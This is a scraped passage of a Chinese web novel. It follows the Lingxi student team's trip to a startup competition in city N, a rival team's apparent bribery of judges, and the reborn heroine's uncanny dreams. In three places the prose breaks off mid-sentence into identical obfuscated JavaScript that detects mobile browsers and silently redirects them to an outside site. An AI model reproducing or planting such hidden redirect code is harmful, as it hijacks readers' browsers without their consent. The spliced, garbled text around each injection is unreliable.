尽管如此，“出征”的氛围仍是相当热烈，毕竟，有机会前往N市的团队都已在省赛中脱颖而出，正要为争夺国赛入场券做出新的努力。 然而，较早到场的几队人马都注意到——这一回，大巴的不远处还停着一辆豪华七座SUV，大家忍不住七嘴八舌地猜测起来： “我听说这一次，校领导不和我们一起去N市呀，而且上回他们还和我们一道坐大巴的，那这辆车，到底是给谁准备的呢？” “这是啥车呀，看着挺大的，但好像比我们之前见过的那种面包车都要高级。” “面包车？你开什么玩笑啊，知道这车多贵嘛？！” 待“灵犀”团队到场时，关于这辆车的谜题才算有了一些线索。见到郑虔他们后，莫楷才不紧不慢地从车上下来了，还引起了其他组的一阵讨论： “那人是谁啊？难道说……是哪个大人物的司机？” “我看他怎么有点面熟啊，还蛮像之前遇到过的那个外卖小哥的。” “你在想啥呢，这人看上去还挺贵气的，感觉都不像是司机，更别提什么外卖小哥了……他那状态，看起来好像是个厉害的人物啊。” 就在众人忙于猜测莫楷身份的同时，樊欣已经将他介绍给了G大相关部门的老师。这一次，唐老师有事没法和大家一起前往N市参赛，樊欣他们原本还觉得有些遗憾，但听说她是在考博的事做准备，就都可以理解了。 听闻莫楷的身份后，创新创业部的那个舒老师只觉又惊又喜，忙不迭上前恭敬地和对方握手，这也进一步坐实了——此人不止是司机，他的身份应该不简单。 而后，莫楷提出——由他亲自开始送“灵犀”团队前往N市，尽管G大没有这样的先例，但看在楷莫拉集团的面子上，舒老师也没有不答应的道理，于是客套几句后，便放行了。 看莫楷那架势，原本是想邀请徐可可坐副驾的位置，没想到还是被郑虔给抢了先： “楷哥，我陪你坐前面吧，万一你犯困了啥的，还能和你聊天解解闷。” 别的不说，光论这身形，郑虔确实是副驾的不二人选，因为他“太宽了”，要坐后头的话容易挤着别人，于是，众人也没对他的行为提出啥异议。 上车后，樊欣忍不住发问： “莫总你这样的身份，放下手头的事来开车送我们……真的太不好意思了。” 可能对于车上的其他人来说，莫楷就是一个脑回路清奇的富二代，但来自另一个平行宇宙的樊欣却很了解此人的“分量”，因而更加难以理解对方为何会这么做。 “没关系的，不用见外，某种意义上来说，我也是‘灵犀’的一份子呀；而且，楷莫拉在N市的业务也不少，这一回，我正好一起去分公司看看。” “楷哥做事，就是地道！不过，你平时应该都有那种专属司机吧？今天竟然来给我们开车来了。” 经过这段时间的相处，郑虔与莫楷越来越熟络了，俨然一副好兄弟的模样。听他这么说，莫楷也真诚地答道： “对啊，我主要担心万一有其他人在的话，大家聊起来会不会没那么畅快，就没喊司机过来。而且，我听说可可小姐坐大巴容易晕车，我开车技术还不错，所以，由我亲自来送你们的话，路途中也更舒适一些……” 此时的莫楷忙着开车，不便回头，因而无法看到此时的可可因为这份体贴羞红了脸。但她的这一变化，还是被郑虔给捕捉到了，他显得有点不满： “怪不得呢，原来是为了献殷勤啊……对了，话说你的健身计划，启动了没？” “我啊……最近这几天有点忙啊，还没正式开始，但已经提上日程了，你呢，听说你报名运动会了啊？” 见莫楷对自己的近况如此了解，郑虔敏锐地回过头，紧紧盯住坐在后排的那几位： 可可？应该不会，她与莫楷都不太联系；大龙哥平时忙得团团转，一开始郑虔还想拜托他帮自己训练的，但都被拒绝了；此刻的小铁军正茫然地看着窗外的风景，看上去对他们的谈话完全提不起兴趣；还有背对着大家缩在最后排的魏万，应该也不会背叛自己…… 这样看来，就只剩下樊欣了。 “学姐，是不是你告诉楷哥的啊？我这还没开始训练呢，你就先帮我把牛给吹出去了呀？” 郑虔没想到的是，自己这几句玩笑般的嗔怪却将对方吓了一大跳。不知从什么时候开始，樊欣觉得特别累，她一般不晕车，昨晚休息得也不错，但现在只觉昏昏沉沉的，加上郑虔带来的惊吓，更让她疲惫不堪，只能早早投降道： “对不住了，我有点不舒服，先休息一下。” 原本，樊欣只是想稍稍闭目养神一下，毕竟N市并不远，应该很快就会到的。然而，就在她合上双眼后的没多久，就又听到身后传来一阵奇怪的声音： “这一次，务必要好好珍惜眼前的机会，樊欣，你的潜力很大，你能做的还有很多、很多……千万不能再荒废了这段来之不易的全新人生。” 又是那个声音——熟悉又陌生，亲近且神秘，而且，这是她第一次听到对方直接喊出了自己的名字。 为什么……为什么又出现了，声音的来源到底是什么人，自己的这段“重生”，还有那具备了预知能力的相机，到底和这声音的主人有着怎样的关系？ 樊欣努力将自己从巨大的困倦中拽了出来，尽力保持清醒，转过身，想要试着和对方直接进行一番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387686|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对话。 然而，就在她转身的一瞬间，却被对方的模样给惊到了： 因为，此刻，站在樊欣身前的，不是别人，恰恰就是她自己——相同的样貌与身形，相同的穿着，只是对方的眉宇间透着一股深邃的忧虑。 “怎么回事？你到底是什么人？你怎……怎么会是‘我’？” 她的第一反应是想冲上前，揭开对方的假面具，尽管一时想不通这道声音的主人为何要扮成自己的样子，但樊欣不能错过这么重要的机会。 可惜，她的行为，直接被身上绑着的安全带给挡了下来。 “小心啊！你没事吧？” 缓缓睁开眼，樊欣看到身边依旧是那几张熟悉的面孔，唯一不同的是，此时同伴们的脸上满是担心和不解。 一旁的林龙刚刚反应很快，及时侧身扶住了她，见樊欣醒了以后，才忍不住开始活动靠近她那侧的臂膀。看来，樊欣入睡后不慎将林龙的胳膊当作了枕头，但他就算被压得直发麻，都没敢吵醒对方。还有可可，也很担心樊欣的情况： “欣子，你刚是不是做噩梦了呀？听你还‘咿咿呀呀’在喊什么‘你呀’、‘我呀’的……是不是因为这比赛，压力太大了？” 樊欣被问得有点不好意思，她扶了扶自己的脑袋，感觉头疼得厉害，但又不想让自己的同伴们担心，便只能搪塞了几句： “没事的，我也没想到怎么会睡过去了，我们现在，到哪儿了呀？” *** 樊欣提问的这会儿功夫，他们一行人已然进入了N市境内，还很快找到了承办本次小组赛的学校。 虽说为了让大家的乘坐体验更为舒适，莫楷一路开得不算快，但还是远远将G大的参赛大巴抛在了后头。因而，他们需要等候其他队伍一起会和后，再办理参赛手续。 这段时间以来，大家都忙于各自手头的事务，甚至还错过了好几场学校组织的专家培训；但一进入赛场，看着校园中醒目的旗子与标语，竞赛的氛围一下就浓了起来，不免叫人有点紧张。 一开始，郑虔还想喊大家一起趁着等待的间隙去这里的食堂找点吃的，却被莫楷给拦下了: “你们都要上场‘战斗’了，肯定得吃点更好的呀！别担心，我都已经安排好了，等你们办完手续之后，我带你们去N市一家很有特色的酒楼用餐。” 听他这么说，大家都对这陌生的城市多了几分亲切的感觉，便和莫楷一起在校园里转了起来，顺便熟悉一下场地。 过了一阵子，G大的其他队伍总算到了，“灵犀”团队赶紧上前找到大部队，一起参与登记并办理入住。原本莫楷还帮他们订了更好的酒店，但樊欣提出还是不要再搞特殊啦，住在学校里也更方便，直接婉拒了对方的好意。 有意思的是，“体道升天”的汇报人洪健，走下大巴后的第一件事不是取行李，而是直接奔向了“灵犀”这头…… 43. 第43章 一见到这家伙，大家的脸色瞬间就不好看了。 “你有什么事？” 林龙率先走上前，挡住了对方的去路。洪健一脸傲娇，原本不想理会，但看到林龙满身的肌肉，只好给他一点面子： “帅哥，我过去打个招呼，请让一让。” 上一回，在“灵犀”得奖之后，洪健曾特别谄媚地跑来和樊欣他们套近乎；但这一次，他却直接屏蔽了“灵犀”团队，直奔莫楷而去： “莫总！太荣幸了，真没想到有机会能在这儿见到您，您……这次是来当评委的么？” 他伸出手想与对方握一下，但想到了什么，赶紧收了回来，在自己的西装两侧蹭了蹭，才又重新恭敬地伸出了双手。 而这莫楷，平日和“灵犀”众人接触时总是乐呵呵很好相处的样子，甚至在郑虔开玩笑吐槽自己时也不会生气；面对眼前这个把自己捧上天的洪健时，倒立刻换了一副面孔： “不是。” 出于礼貌考虑，他还是和对方握了握手，但很快就抽了回来，然后冷冰冰地回了两个字，就不愿意再理会他了。 看来，莫楷身为楷莫拉的继承人，还是有点识人的本事的，一眼就看出了这洪健不是什么好东西，完全不值得深交。 *** 听说各团队下午还要参加赛项说明会，莫楷在带大家到附近的网红餐厅打卡后，便外出忙自己的事了。临走前，他还特意嘱托了一下郑虔： “别人我不担心，但你，我的兄弟，下午别自己跑去食堂加餐啥的，以免等我晚上来接你们的时候，你肚子都装不下好吃的了。” “好啦好啦，你快走吧，真是的……” 有时候，连樊欣都觉着——这俩兄弟的对话听起来有点腻歪，一个满是宠溺，另一个，则带点傲娇，反正要是刚接触他们的话，完全想不到这两人竟还会是情敌的关系。 参加过创业大赛的赛项说明会，大家心中紧张的感觉都更强烈了一些，魏万更是被弄得都没心情出去吃饭了： “要不……我留下来背稿子吧，感觉还不太熟，而且，想到明早就要开始比赛，真的什么也吃不下啊。” 因为省赛已经淘汰了不少队伍，因而这次晋级选拔赛的参赛团队可以在一天之内都比完，不会再像先前那样分为两天。这也就意味着——大家明天就得上场了。 当然，正式上台的依旧是魏万、郑虔和铁军三人，但其他伙伴也会根据具体情况对材料进行调整和完善。听魏万这样说，可可都有些动摇： “是啊，咱们来N市，毕竟是来参加比赛的，也不是来旅游的，人家团队都忙着准备呢，我们却跑出去吃饭，这样会不会不太好啊……” 好在郑虔依旧是“灵犀”团队的“松弛担当”，他白了魏万一眼，就开始说教起来： “你这还叫背得不熟？难道在你眼里，要达到倒背如流那种程度才能上台么？那电影里咋说的来着……‘人生可不能像做菜那样，把什么都准备好了才下锅’，你要是一直这样不自信的话，永远都不会觉得自己已经准备好了的。” 当他转向可可时，又充满了耐心： “可可姐，咱都和楷哥讲好了，他也已经安排过了，要这时候我们再放他鸽子，不大好吧？要不，我们吃完了以后，早点回来也行呀。” 听他这么说，可可看了看樊欣，见对方抿着嘴点了点头，才决定放下包袱，一同赴约。 *** 当晚，莫楷所选的酒店，和他们中午打卡的餐厅，完全不是一个量级的。 总之，这里看起来非常高级，豪华而不失雅致。据莫楷所说，这家酒店的老总是他的熟人，所以早早就为“灵犀”的各位准备好了丰盛的餐点。 餐桌上，除了诸如海鲜、鹅肝、优质牛羊肉之类的昂贵食材之外，他还安排了不少当地的特色菜： “可可小姐，请尝一下这道菜，它被誉为‘天下第一鲜’，制作时是要用大火急炒，来锁住食材中的汁水，以此保持肉质的鲜美滑嫩。” 尽管莫楷平日里能接触徐可可的机会不多，但他对这姑娘的热情丝毫没有减退，这顿饭在旁人看来，似乎是他专为可可准备的一样。见到这样的场景，郑虔自然不乐意了，故意呛声道： “什么嘛？！说得那么好听，不过是炒文蛤罢了。” “郑兄，这你就不懂了吧，文蛤肉含有丰富的氨基酸和琥珀酸……” “我怎么不懂了？说来说去，不还是文蛤嘛？” 不知不觉间，两人又开始斗嘴，直到一向安静得铁军忍不住打了个响亮的饱嗝，才打断了他们的这场辩论。 “不好意……嗝……意思……” 这姑娘一向害羞，这会儿又当中出了点小丑，让她更尴尬了，更惨的是，这嗝一旦开始打了，还很难停下来。 “你没事吧？我去帮你取点热水过来。” 茶壶中的热水已经用完了，门外的服务员又正好有事走开，莫总只能亲力亲为，出去为铁军找水。 待他回来以后，铁军的隔声也已经止住了，而莫楷身后还跟来了一名老总模样的胖子，他们后面的服务生左右拿着水壶，右手拿着一扎鲜亮的橙汁，满脸歉意地垂着脑袋。 那胖老总一开口，就是一副“老江湖”的模样： “今天莫公子能带朋友们一起莅临小店，咱这儿真的是，蓬荜生辉啊！我早就应该过来打招呼的，真不好意思了，不知他们干什么吃的，还给莫公子安排了个实习的服务员，怠慢了大家，真是抱歉！” “胡总太客气了，谈何‘怠慢’呀？本来胡总还打算给我们开瓶好酒的，但听说各位明天要参加比赛，就给我们换成鲜榨果汁啦。” 没想到，莫楷平时看起来憨憨的，和其他人接触时却显得挺老练，倒是郑虔他们几个，乖乖地一起回了句： “谢谢胡总！” 这样看起来，完全是一种小学鸡的状态嘛！ “对了，莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422389|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子的朋友们要参加的比赛，该不会就是N师大在办的青年创业大赛那些的吧？” “胡总您对这项目还有了解？” 听酒店老板提起比赛的事，众人都有些吃惊，好在莫楷及时替大家道出了心中的疑惑。 “了解……倒称不上，但这比赛的几位评委，今晚也在我们店里用餐呢，他们好像就在这层走廊尽头的那个包厢。莫公子，需要我牵个线，带你的朋友们去打声招呼不？” “谢谢胡总，但不用麻烦了，我这些朋友都很有实力，这次绝对可以晋级的。” 谨慎如莫楷，却并没有征求樊欣他们意见的意思，直接回绝了胡总的好意，待他离开后，才神秘兮兮地向大家公布了一则消息： “你们知道，我刚才那个包厢门口，看见什么人了么？” “什么人？” 尽管郑虔热衷于和莫楷拌嘴，但对方一旦开口，他也总是最捧场的那一个。 “我看见了今天冲过来和我握手的那小子。” “洪健？” 樊欣有点吃惊，但很快便理清了个中缘由——既然洪健在场，那就说明“体道升天”的团队也在，他们竟然会在晋级赛的前一晚约到了评委一起用餐，看来早就打点好了…… 不止樊欣，现场的其他几位也都立刻想到了这其中的关系，魏万更是像受到了打击一般，看起来有点沮丧： “哎……我之前就听说了，这次‘体道升天’是奔着国赛金奖去的，他们的项目都打磨这么久了，还和评委这么熟，看来我们真的是……” 听郑虔在一旁不耐烦地干咳，魏万这才住了口，可就连一向松弛的郑虔，此刻也有点心烦意乱： “楷哥，你真就对我们这么有信心呀？” 郑虔提问的时候，莫楷正忙着吃脆饼呢，都没功夫抬眼看他，只是非常轻松地回了一句： “当然。” *** 次日，“灵犀”团队抽到了一个不前不后的号码，需要上台的三人早早进入会场，其余各位则一起来到了赛项转播室。 樊欣一边细心地记录现场分数，一边和留在G大的唐老师交流战况； 林龙一边焦急地等待伙伴们上场，一边在线处理数码店的业务； 还有徐可可，一边在《商业计划书》上记录着什么，一边耐着性子回复热情依旧的莫楷： “谢谢莫总，但真的不用给我买东西了，真的不用破费了……” 三人因为种种原因，都不得不一心多用，直到“灵犀”的成员出现在现场的大屏幕之上，他们都默契地停下了手头的事务，专注于伙伴们的表现。 正如大家先前预判的那样——魏万果然是为舞台而生的，即便上场前他总是唯唯诺诺，瞻前顾后的，表现得相当不自信，可一旦正式上场，他不但台风稳健，还将汇报升级成了演讲的感觉。 其实，昨晚“灵犀”团队还利用有限的时间，设计出了一个“杀手锏”…… 44. 第44章 就在魏万对“灵犀”的新款相机进行介绍的同时，一旁的郑虔也在铁军的协助下开始进行展示。 现场的大部分评委在一组又一组大同小异的汇报、答辩之下，已然有些乏了；直到郑虔直接举起相机，朝铁军手中的卡通人物画像按下快门，台下诸位才又有了精神。 同时，魏万与其他两位的配合也相当默契，伴随着郑虔的操作，魏万将评委们的注意力都引到了现场的展示屏上，众人随即发现——郑虔刚拍下的卡通形象，竟瞬间动了起来，尽管动作被设计得很简单，幅度也不大，但在那个AI尚未普及的世界中，已然叫人瞠目结舌。 “太神奇了！你是怎么做到的？” “这是你们团队自行设计和研发的么？” “难道说，所有照片都能实现这样的效果吗，那做动画的那些人，会不会因此失业呀？” 大家之前都曾预测——“灵犀”在现场进行演示的话，会比单调的陈述要更具吸引力；却没料到今天这款相机产生的效果如此“炸裂”，甚至引得诸位评委无心听完汇报，都想要提前进入答辩环节，因为他们对这支团队的成果太感兴趣了！ 而后，郑虔简单地介绍了一下自己多年来的发明之路，以及“灵犀”各位伙伴间的精诚合作，还重点提到了楷莫拉集团对自己团队的大力支持。 “楷莫拉？是我们熟悉的那个‘楷莫拉’嘛？” “这家企业在N市的影响力非常大啊，我真的很看好你们这个项目！” “既然你们提到了楷莫拉，那是不是说明——你们的产品，后期将投入量产。” “你们这相机，确实是个新奇玩意儿，要我说，如果真能好好设计一下的话，应该在不少领域都有机会大放异彩呢！” 尽管现场的评委们还没完成打分，但就连身处观察室的樊欣他们，都能清楚地感觉到——这把稳了！ “欣子！按照现在的局势来看，我们晋级应该没有太大问题了吧？” “我还不敢打包票，但不出意外的话……” “还能有啥意外呀？你看他们都激动成那样了！” 林龙见樊欣答得如此谨慎，忍不住接过话头，同时展开四肢，伸了个大大的懒腰，继续说道： “你们知道我们后面大概还有几组么？这边桌椅的间距好小，坐得人好难受……要不我们干脆出去活动一下，顺便去赛场门口等等他们？” 或许是因为心中的一块石头终于落了地，樊欣也觉得心情轻松了不少，和一旁的可可交换了一下想法后，便随林龙一道走出了观察室。 由于心情大好，樊欣只觉室外的空气都分外清新，距离观察室不远的露天屏幕上，正滚动播放着各个团队当下的成绩，目前看来，“灵犀”依旧遥遥领先，稳稳的，让人感到很安心。 此时的这方空地中，还聚集了不少其他高校的师生，有的在研究大屏上的分数，有些忙着打电话，还有一部分热衷自拍的大学生们，到哪儿都忍不住要留个影。 当然，作为主办方的N师大应该也早就想到了这一点，还很贴心地为参赛队员们准备了各类大大小小的展牌，特别适合用作拍摄的背景板。 此时林龙跑去临湖的栏杆那儿压腿了，可可则依旧低着头、皱着眉，忙于应付手机那头的某人。樊欣便想着自己先转转，顺便选一下稍后团队合影的位置，不经意间，还被身旁两位女生的聊天内容给吸引住了： “要不，我们在这块牌子下面合个影？上面写了赛事的信息，还蛮有纪念意义的。” “但我今天起得有点晚，匆匆忙忙的，都没来得及化妆，拍出来不好看吧？” “这有什么关系？实在不行，我帮你P一下就好了。” “那多麻烦呀……对了，要不我们等其他人出来以后再一起拍，现在的话……我们先拍个影子的合照，怎么样？” “影子？” “对呀，你有没有看到那种创意摄影的作品，有些就是专门拍影子的，也特别有感觉呢！” 受到这段对话的启发，樊欣下意识地看了一眼自己的影子……然而，什么都没有……按现在日头的方向来看，不应该啊…… 她当即就想找自己的朋友们寻求帮助，便快步朝徐可可走去，只见对方依旧蹲在地上回信息呢，身后拉着一条长长的影子；然而，即便立在可可身旁，樊欣的身下，依旧什么都没有…… “可可学姐……” “欣子，你说这莫总怎么就这……这么执着呢？我都不知道该怎么办了……” 原来，莫楷还在想办法单独约可可出去，且执意要她挑个贵重的礼物，给出的选项都是那些价格不菲的包包和首饰，直叫可可招架不住。 她一直在尝试拒绝对方，但看起来没什么效果；有时候，可可甚至很想采取冷暴力的方式或是对着莫楷发顿脾气，但想想对方也没什么大错，目前还成了“灵犀”背后的重要支持力量，只得忍忍了。 “没事，礼貌地说出自己的真实感受就行，莫总看起来并无恶意，但有些心急了吧……我也会找机会和他说说的。” 之前，在待人接物这一块，徐可可才是导师级的人物，但现在，“旁观者清”的樊欣才更加理性。只是，被她这样一打岔，樊欣当时也就没机会道出关于“影子”的困扰了。 她冷静下来一想，发现这样的事，和可可说起的话，应该也解决不了问题。设想一下，要是身边的亲友们真的知道了这一点，又该如何处理呢？报警？还是将她送医？或是找到某家科研机构，将她樊欣当作新的“未解之谜”加以研究？ “你们在这儿等我们哪？” 恍神间，樊欣听到不远处传来了郑虔他们的声音，看来，本场晋级赛已经告一段落了。 *** “你们看到‘体道升天’那组是怎么汇报的了么？” “没有，等你们讲完，我们就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445375|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了。” 林龙坐在N师大第一食堂的某张餐桌前，双手交叉背在脑后，看起来相当悠闲。 “挺可惜的，早知道我们应该留下来看一看再走，不知他们到底是怎么做到的，竟然……竟然能拿到那样高的分数。” 徐可可拨弄着金属餐盘里的炸鸡块，看起来有点沮丧。待所有团队的成绩公布后，他们才发现——在赛场里大获好评的“灵犀”团队，最终取得的成绩只位于中游，但那“体道升天”的分数，却高得惊人。 “而且，每一次晋级赛的成绩，好像都会影响到最终的大赛排名，这些和国赛入场券的名额，是直接挂钩的。” 魏万也垂着头，满脸的遗憾和不甘。 “没关系的，我们这次的表现已经很棒了，咱今天好歹也晋级了，又不是淘汰了，大家都开心一点呀！” 此时的樊欣，实际上已经比在场的大部分人多了十来年的工作经验，从前夜他们在酒店偶遇“体道升天”请评委们吃饭时起，她就能想到现在的局面，毕竟，很多所谓的公平都只是相对的，不少比赛，比的不完全是实力，还有人情世故…… “就是呀，何必这样在意，不是有句话这样说的嘛——‘他强任他强，清风拂山岗’……何况，他们还没那么强。” 郑虔倒是一如既往的松弛，几乎啥事也影响不到他的好胃口，但他看了眼自己的肚皮，再看看坐在对面的可可，还是放弃了起身继续添饭的念头。 同时，先前一直在和可可发信息的莫楷，也突然和大家断了联系，弄得可可还猜测可能是自己的态度刺伤了对方，因而非常自责。 于是，樊欣索性给莫楷留言打了声招呼，然后和“灵犀”的伙伴们一道乘坐学校安排的大巴返回G市。 返程途中，车上的空气分外安静，因为在个别团队喜获高分的同时，也有几支队伍惨遭淘汰，可谓是“几家欢喜几家愁”。另外，比起出发时的兴致高昂，现在的各位，确实有些疲惫了。 昏昏沉沉的氛围中，樊欣再次陷入了一场奇怪的梦境之中： 梦里的那个她，睁眼后发现自己身处一间装修得颇合自己口味的公寓之中，只是房间有点乱，地面上还散落着一些看起来略显幼稚的玩具。 “我这是……在哪儿啊？” 樊欣试着从床上爬起来，却感到浑身都酸痛得厉害，好不容易用手撑着，才坐直了身子，就看到一边的床头柜上倒扣着一个相框。 她下意识地伸出手，将那相框扶起，却被照片中的内容给吓了一跳—— 那场景本身看起来还挺温馨，主角是一家三口吗，分别是樊欣、李浩凡和一个由男方抱在怀里的小女孩…… 什么情况？在这个梦境中，樊欣嫁给了李浩凡，他们还生了个女儿？她为什么会梦到这样的场景，为什么梦里的她依旧这般清醒？ 樊欣陷入了一种无解的迷茫中，不知所措时，那道声音再次出现了……